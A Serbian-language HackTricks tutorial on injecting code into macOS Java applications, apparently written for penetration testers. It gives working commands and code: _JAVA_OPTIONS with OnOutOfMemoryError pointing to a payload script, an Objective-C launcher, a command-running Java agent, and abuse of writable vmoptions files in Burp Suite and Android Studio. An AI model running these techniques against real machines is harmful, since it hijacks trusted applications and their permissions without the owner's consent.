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155 lines
5.7 KiB
Markdown
155 lines
5.7 KiB
Markdown
# macOS Java aplikacije injekcija
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{{#include ../../../banners/hacktricks-training.md}}
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## Enumeracija
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Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke java parametre koji sadrže string **`java.`**, tako da možete pretraživati za tim:
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```bash
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# Search only in /Applications folder
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sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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# Full search
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sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
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```
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## \_JAVA_OPTIONS
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Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubrizgavanje proizvoljnih java parametara u izvršavanje java kompajlirane aplikacije:
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```bash
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# Write your payload in a script called /tmp/payload.sh
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export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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```
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Da biste to izvršili kao novi proces, a ne kao dete trenutnog terminala, možete koristiti:
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```objectivec
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#import <Foundation/Foundation.h>
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// clang -fobjc-arc -framework Foundation invoker.m -o invoker
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int main(int argc, const char * argv[]) {
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@autoreleasepool {
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// Specify the file path and content
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NSString *filePath = @"/tmp/payload.sh";
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NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
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NSError *error = nil;
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// Write content to the file
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BOOL success = [content writeToFile:filePath
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atomically:YES
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encoding:NSUTF8StringEncoding
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error:&error];
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if (!success) {
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NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
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return 1;
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}
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NSLog(@"File written successfully to %@", filePath);
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// Create a new task
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NSTask *task = [[NSTask alloc] init];
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/// Set the task's launch path to use the 'open' command
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[task setLaunchPath:@"/usr/bin/open"];
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// Arguments for the 'open' command, specifying the path to Android Studio
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[task setArguments:@[@"/Applications/Android Studio.app"]];
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// Define custom environment variables
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NSDictionary *customEnvironment = @{
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@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
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};
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// Get the current environment and merge it with custom variables
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NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
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[environment addEntriesFromDictionary:customEnvironment];
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// Set the task's environment
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[task setEnvironment:environment];
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// Launch the task
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[task launch];
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}
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return 0;
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}
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```
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Međutim, to će izazvati grešku na izvršnoj aplikaciji, drugi, suptilniji način je da se kreira java agent i koristi:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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> [!CAUTION]
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> Kreiranje agenta sa **drugom verzijom Jave** od aplikacije može uzrokovati pad izvršavanja i agenta i aplikacije
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Gde agent može biti:
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```java:Agent.java
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import java.io.*;
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import java.lang.instrument.*;
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public class Agent {
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public static void premain(String args, Instrumentation inst) {
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try {
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String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
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Runtime.getRuntime().exec(commands);
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}
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catch (Exception err) {
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err.printStackTrace();
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}
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}
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}
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```
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Da biste kompajlirali agenta, pokrenite:
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```bash
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javac Agent.java # Create Agent.class
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jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
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```
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Sa `manifest.txt`:
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```
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Premain-Class: Agent
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Agent-Class: Agent
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Can-Redefine-Classes: true
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Can-Retransform-Classes: true
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```
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I zatim izvezite env promenljivu i pokrenite java aplikaciju kao:
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```bash
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export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
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"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
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# Or
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open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
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```
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## vmoptions datoteka
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Ova datoteka podržava specifikaciju **Java parametara** kada se Java izvršava. Možete koristiti neke od prethodnih trikova da promenite java parametre i **naterate proces da izvrši proizvoljne komande**.\
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Štaviše, ova datoteka može takođe **uključivati druge** sa `include` direktorijumom, tako da možete promeniti i uključenu datoteku.
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Još više, neke Java aplikacije će **učitati više od jedne `vmoptions`** datoteke.
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Neke aplikacije kao što je Android Studio ukazuju u svom **izlazu gde traže** ove datoteke, kao:
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```bash
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/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
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2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
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2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
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```
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Ako to ne urade, možete lako proveriti pomoću:
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```bash
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# Monitor
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sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
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# Launch the Java app
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/Applications/Android\ Studio.app/Contents/MacOS/studio
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```
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Napomena kako je zanimljivo da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje.**
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